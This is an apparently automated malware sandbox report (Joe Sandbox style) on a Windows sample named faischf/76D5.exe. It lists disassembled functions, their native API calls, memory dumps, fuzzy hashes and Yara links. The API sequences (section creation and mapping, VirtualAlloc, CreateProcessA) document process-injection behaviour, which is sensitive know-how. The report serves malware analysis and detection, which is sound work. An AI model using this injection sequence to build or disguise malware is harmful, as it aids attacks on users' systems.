Function 00401590 Relevance: 10.7, APIs: 7, Instructions: 203
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

Source File: 00000003.00000002.1943891819.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_faischf.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 569c601533bfa5fc76acd0aceccd82dced2ec0ba9158162e35254d0d933d7b6e
Instruction ID: d6964195f2ae178c179c3b7a32e304a619fe45f2cb2dcf097c8130f3d204b23e
Opcode Fuzzy Hash: 569c601533bfa5fc76acd0aceccd82dced2ec0ba9158162e35254d0d933d7b6e
Instruction Fuzzy Hash: 64616FB0904205FFEB208F91CC58FAF7BB8EF81710F10416AFA12BA1E5D6749941DB65

Uniqueness

Uniqueness Score: -1.00%

Function 0040159B Relevance: 10.7, APIs: 7, Instructions: 173
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

Source File: 00000003.00000002.1943891819.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_faischf.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: bae20a228bd41bc7813985564ad54ad8a6399e0ad18c72377fec9941621639a0
Instruction ID: ff81ed2e81490e93a7bfe721f9c6a4d9304ec08e35c355afa89281eda0ffd623
Opcode Fuzzy Hash: bae20a228bd41bc7813985564ad54ad8a6399e0ad18c72377fec9941621639a0
Instruction Fuzzy Hash: 3E5109B5900249BFEB208F91CC49FAB7BB8FF85710F144169FA11BA2E5D6749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 004015B0 Relevance: 10.7, APIs: 7, Instructions: 169
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

Source File: 00000003.00000002.1943891819.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_faischf.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 6c4736dca5741fb18473fdef31891e556f9b158cac04651ef2a3a7cb79a50736
Instruction ID: af686ae4933c2f6004de28669cc23aaadd0110c3f88d1b974755b8c34b4799b2
Opcode Fuzzy Hash: 6c4736dca5741fb18473fdef31891e556f9b158cac04651ef2a3a7cb79a50736
Instruction Fuzzy Hash: 0E51F9B5900249BFEB208F91CC48FAF7BB8FF85B10F104169FA11BA2E5D6749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 004015BC Relevance: 10.7, APIs: 7, Instructions: 168
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

Source File: 00000003.00000002.1943891819.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_faischf.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 72661907227a9452eb25ab953c02bdcf5a827517e06e297a0d085dc110f4c5bf
Instruction ID: 765dedf92b6036aea99e2596c7c6646b0bcbba97602321f23575c560d9e65fb8
Opcode Fuzzy Hash: 72661907227a9452eb25ab953c02bdcf5a827517e06e297a0d085dc110f4c5bf
Instruction Fuzzy Hash: 1451E8B5900249BFEF208F91CC48FDF7BB8FF85B10F104169FA11AA2A5D6749945CB64

Uniqueness

Uniqueness Score: -1.00%

Function 004015CB Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

Source File: 00000003.00000002.1943891819.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_faischf.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 004f83838c091370c792dd4fcb680897e20f1790ca1ffba750393c7614aa26f8
Instruction ID: 60f1a669064b898f2f8cfe764b4cdaf5e199705ebcb5ef48edc51869d28594cd
Opcode Fuzzy Hash: 004f83838c091370c792dd4fcb680897e20f1790ca1ffba750393c7614aa26f8
Instruction Fuzzy Hash: 2C51FAB1900249BFEF208F91CC48F9FBBB8FF85B10F104169FA11AA2A5D7749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 009B003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 009B024D

Strings

kernel32.dll, xrefs: 009B008F, 009B0095
cess, xrefs: 009B018D

Memory Dump Source

Source File: 00000003.00000002.1944344565.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9b0000_faischf.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 9e9f84a109257b54853148e16428cd8b539b9773b1213dbfa97cba74c9b7c1b4
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 43527874A00229DFDB64CF68C984BADBBB1BF49314F1480D9E94DAB251DB30AE84DF14

Uniqueness

Uniqueness Score: -1.00%

Function 009F411C Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 009F4144
Module32First.KERNEL32(00000000,00000224), ref: 009F4164

Memory Dump Source

Source File: 00000003.00000002.1944472325.00000000009ED000.00000040.00000020.00020000.00000000.sdmp, Offset: 009ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9ed000_faischf.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: d4109069a4a8053913f1b9f14f5105eb5b16838e05d112be0b9664ed9076c3e0
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: FDF062362007196BD7202AF5A88DBBB76ECAF69724F100568E752915C0DB74EC854B61

Uniqueness

Uniqueness Score: -1.00%

Function 009B0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,009B0223,?,?), ref: 009B0E19
SetErrorMode.KERNELBASE(00000000,?,?,009B0223,?,?), ref: 009B0E1E

Memory Dump Source

Source File: 00000003.00000002.1944344565.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9b0000_faischf.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 834e71a4ee2bb256775d8f514e505c58297908d8ee81c6856434322e2576a7f4
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 31D01232245228B7DB002AD4DC09BCEBB1CDF09BA2F008421FB0DE9080CBB09A4046EA

Uniqueness

Uniqueness Score: -1.00%

Function 004029BA Relevance: 1.6, APIs: 1, Instructions: 60
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000003.00000002.1943891819.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_faischf.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 8b4368bb53e1649655da800b8e3771367f61da053ffbe47dde7c34dc5595736a
Instruction ID: ddfd821467dba8d9e3be05996510f596060048204c77d2b9bdf6330f9e046059
Opcode Fuzzy Hash: 8b4368bb53e1649655da800b8e3771367f61da053ffbe47dde7c34dc5595736a
Instruction Fuzzy Hash: 5C11E571708104E7D6209A449B4EF6B3724AB50B00F308077E5077A1C0D9FD9A07BBAF

Uniqueness

Uniqueness Score: -1.00%

Function 004029C5 Relevance: 1.6, APIs: 1, Instructions: 55
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000003.00000002.1943891819.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_faischf.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 630f67e63f4c9d6cadc1f4ef28869250e9dd95ac73f78134dda1cef590dfe083
Instruction ID: eda82e36109819710fc28ef01b941f30aa1b457bd77d6c907d6690057fca41fa
Opcode Fuzzy Hash: 630f67e63f4c9d6cadc1f4ef28869250e9dd95ac73f78134dda1cef590dfe083
Instruction Fuzzy Hash: 3C01C471708205E7DA60DA949A4EB6B7710AB51B10F308077E5037A1C4DAFD9A07FB6B

Uniqueness

Uniqueness Score: -1.00%

Function 004029D1 Relevance: 1.6, APIs: 1, Instructions: 54
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000003.00000002.1943891819.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_faischf.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 8aebd7c2dfb35844096bdf04bcf18f9291abc38b44631a4f8f553a04b448b611
Instruction ID: 27f311fed6bd4bb195386d6e886048742e5b6b48a655c0a394e70793ed6bf28f
Opcode Fuzzy Hash: 8aebd7c2dfb35844096bdf04bcf18f9291abc38b44631a4f8f553a04b448b611
Instruction Fuzzy Hash: E0018071708105E7DA609A449B4EB6B7324BB50B10F308477E5077A1C4DAFD9A07BB6F

Uniqueness

Uniqueness Score: -1.00%

Function 004029D5 Relevance: 1.6, APIs: 1, Instructions: 51
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000003.00000002.1943891819.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_faischf.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 14f9d75437b26c4e33ab762a249f6d4a6897a4cf10a17b4738070ea496484bd2
Instruction ID: 6c082c2f6db60d75b034223dafbed04b71575a1e0537fab93527f59567f6cb96
Opcode Fuzzy Hash: 14f9d75437b26c4e33ab762a249f6d4a6897a4cf10a17b4738070ea496484bd2
Instruction Fuzzy Hash: DB01B531708105E7DB60DA409A4DF5F7720BB50B10F208577E5077A1C4DAF99A17EB9B

Uniqueness

Uniqueness Score: -1.00%

Function 004029E2 Relevance: 1.5, APIs: 1, Instructions: 47
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000003.00000002.1943891819.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_faischf.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: b2d371f82e3e545a267ab12f2e2f0a58ec4b54f775fd64736b106f9591d7a7c3
Instruction ID: daf8977218c418413866257df5c9087131837fd98e0c4230724de407841e0162
Opcode Fuzzy Hash: b2d371f82e3e545a267ab12f2e2f0a58ec4b54f775fd64736b106f9591d7a7c3
Instruction Fuzzy Hash: 3801DF31708104E7DB209A848A4DB5E7320AB40B10F208577E507BA1C0DAF9AA07AFAB

Uniqueness

Uniqueness Score: -1.00%

Function 004029E9 Relevance: 1.5, APIs: 1, Instructions: 47
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000003.00000002.1943891819.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_faischf.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 9850a57f899f03cbeedeed8d531e786c982b6ed5f0a372be87f463e87495e5bd
Instruction ID: 5524fd7572365f35614fa46947343296b9db081daee3b4d0816b59f029c0b045
Opcode Fuzzy Hash: 9850a57f899f03cbeedeed8d531e786c982b6ed5f0a372be87f463e87495e5bd
Instruction Fuzzy Hash: 2101A731704104E7D7209A448A4EB5E7720AB40704F208477E5067A1C4DAB9EA07AB6B

Uniqueness

Uniqueness Score: -1.00%

Function 004029F9 Relevance: 1.5, APIs: 1, Instructions: 45
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000003.00000002.1943891819.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_faischf.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 83fdb88ab79b739a001a2e8c05ea2e4136fbf27434a3016a2f3de2c8c28590ed
Instruction ID: 2a527b723104a8d4642483acce18f9de5ed6d5a74c4e47f32731208c7d716ef4
Opcode Fuzzy Hash: 83fdb88ab79b739a001a2e8c05ea2e4136fbf27434a3016a2f3de2c8c28590ed
Instruction Fuzzy Hash: 1801A231708104E7DB209A849A4DF9F7720AB40B14F208477E5027A1C0DAF9AA07AFAB

Uniqueness

Uniqueness Score: -1.00%

Function 00401969 Relevance: 1.3, APIs: 1, Instructions: 62sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000003.00000002.1943891819.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_faischf.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: b8285f967374eae4a3c51efe3ce59b098afe428af0dcb557450618fb68c9c18d
Instruction ID: 1276e484f00ba66cbffb4616bb4d5d076efec51046982770477825c9afbd6400
Opcode Fuzzy Hash: b8285f967374eae4a3c51efe3ce59b098afe428af0dcb557450618fb68c9c18d
Instruction Fuzzy Hash: 0F01D2B6708205FADB005A949C62EBB3618AB41755F300637BA13B80F1C57D8513FA6F

Uniqueness

Uniqueness Score: -1.00%

Function 00401975 Relevance: 1.3, APIs: 1, Instructions: 55sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000003.00000002.1943891819.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_faischf.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 9a4c6db62cce5b151e284cc19e63a433146ff3755d8681b35f1a2b6972971a8e
Instruction ID: 0230620869f43b82b90ed4dddf49477c9f5c6c73dade890abd4ec4b7d4a8195a
Opcode Fuzzy Hash: 9a4c6db62cce5b151e284cc19e63a433146ff3755d8681b35f1a2b6972971a8e
Instruction Fuzzy Hash: 4801BCB6308205FADB005A949C62FBA3219AB84751F30053BB613BC0F1C53D8513FA2F

Uniqueness

Uniqueness Score: -1.00%

Function 0040197F Relevance: 1.3, APIs: 1, Instructions: 54sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000003.00000002.1943891819.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_faischf.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 25088a1f844088f741a859eeb607afc94706ffd20a91742bc3d9f24c23efa0b5
Instruction ID: 9a4b4ffd5ca22a672d673467c452b15ea5c40039b4ea8ded510267d200494456
Opcode Fuzzy Hash: 25088a1f844088f741a859eeb607afc94706ffd20a91742bc3d9f24c23efa0b5
Instruction Fuzzy Hash: 3A01B1B6308205FADB115A949C61A7A3319AB45711F30053BB613B80F2C53D8512FA1F

Uniqueness

Uniqueness Score: -1.00%

Function 00401986 Relevance: 1.3, APIs: 1, Instructions: 53sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000003.00000002.1943891819.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_faischf.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: f146987f8c0bf49c3ef7592727f3e0a51ae856d021a330616d03f7304a9c3b71
Instruction ID: 5a2bb716a64f0a1f1a6e426f0b200f3e6862a670896c4db1e76ea4af0659c5ba
Opcode Fuzzy Hash: f146987f8c0bf49c3ef7592727f3e0a51ae856d021a330616d03f7304a9c3b71
Instruction Fuzzy Hash: 3101DFB2308205FADB005AD49C62F7A3219AB85715F30453BB623B80F1C63D8512FB2F

Uniqueness

Uniqueness Score: -1.00%

Function 009F3DDB Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 009F3E2C

Memory Dump Source

Source File: 00000003.00000002.1944472325.00000000009ED000.00000040.00000020.00020000.00000000.sdmp, Offset: 009ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9ed000_faischf.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 7fd98a0be294808160837fd198a00292b5de329ab8cc68669259d9c78ca0f6af
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 13113C79A00208EFDB01DF98C985E99BBF5AF08350F05C0A4FA489B362D775EA50DF80

Uniqueness

Uniqueness Score: -1.00%

Function 004019A2 Relevance: 1.3, APIs: 1, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000003.00000002.1943891819.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_faischf.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: a8f77c5b0aafc3a83b6e9a89fc0125d54fce9978fbcf9d902b8238b221feffd7
Instruction ID: 689da8ed0bf63c85a60a16fbbe407e4b0918199af58fa2149c0a58fdfe32668e
Opcode Fuzzy Hash: a8f77c5b0aafc3a83b6e9a89fc0125d54fce9978fbcf9d902b8238b221feffd7
Instruction Fuzzy Hash: 0E0181B6308105FADB115AD49D52FBA3719AB45751F30453BB613B80F2C53D8512FB2B

Uniqueness

Uniqueness Score: -1.00%

Function 00401992 Relevance: 1.3, APIs: 1, Instructions: 46sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000003.00000002.1943891819.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_faischf.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 994369af4d0fa0c447a21c659804c9e18bb6abd6db9e85dcf8f049b878b9c4ba
Instruction ID: 9477092311c163758adf26378a137d016a4cc75b4861da4fd192d9fcf75081b0
Opcode Fuzzy Hash: 994369af4d0fa0c447a21c659804c9e18bb6abd6db9e85dcf8f049b878b9c4ba
Instruction Fuzzy Hash: 25016D72304105FADB119AD09C52EAA3729AB48355F30457BB613BD0F2C63D8552EB2B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040C675 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0040C69B

Part of subcall function 0040C4C0: __fltout2.LIBCMT ref: 0040C4EC

__cftog_l.LIBCMT ref: 0040C6C1
__cftoe_l.LIBCMT ref: 0040C6F3

Memory Dump Source

Source File: 00000003.00000002.1943907166.000000000040B000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_40b000_faischf.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: e14d24de96c2092ba8623298dc114f4de5b5cefbfed6d6241cc7ffa6bbf36271
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: D211453204014AFBCF225F85DC81CEE3F22BB1D354B549A26FA18651B1D63BC971AB89

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 76D5.exePID: 5296, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	42.5%
Dynamic/Decrypted Code Coverage:	86.4%
Signature Coverage:	34.1%
Total number of Nodes:	44
Total number of Limit Nodes:	8

Executed Functions

Function 02830110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 02830156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0283016C
CreateProcessA.KERNELBASE(?,00000000), ref: 02830255
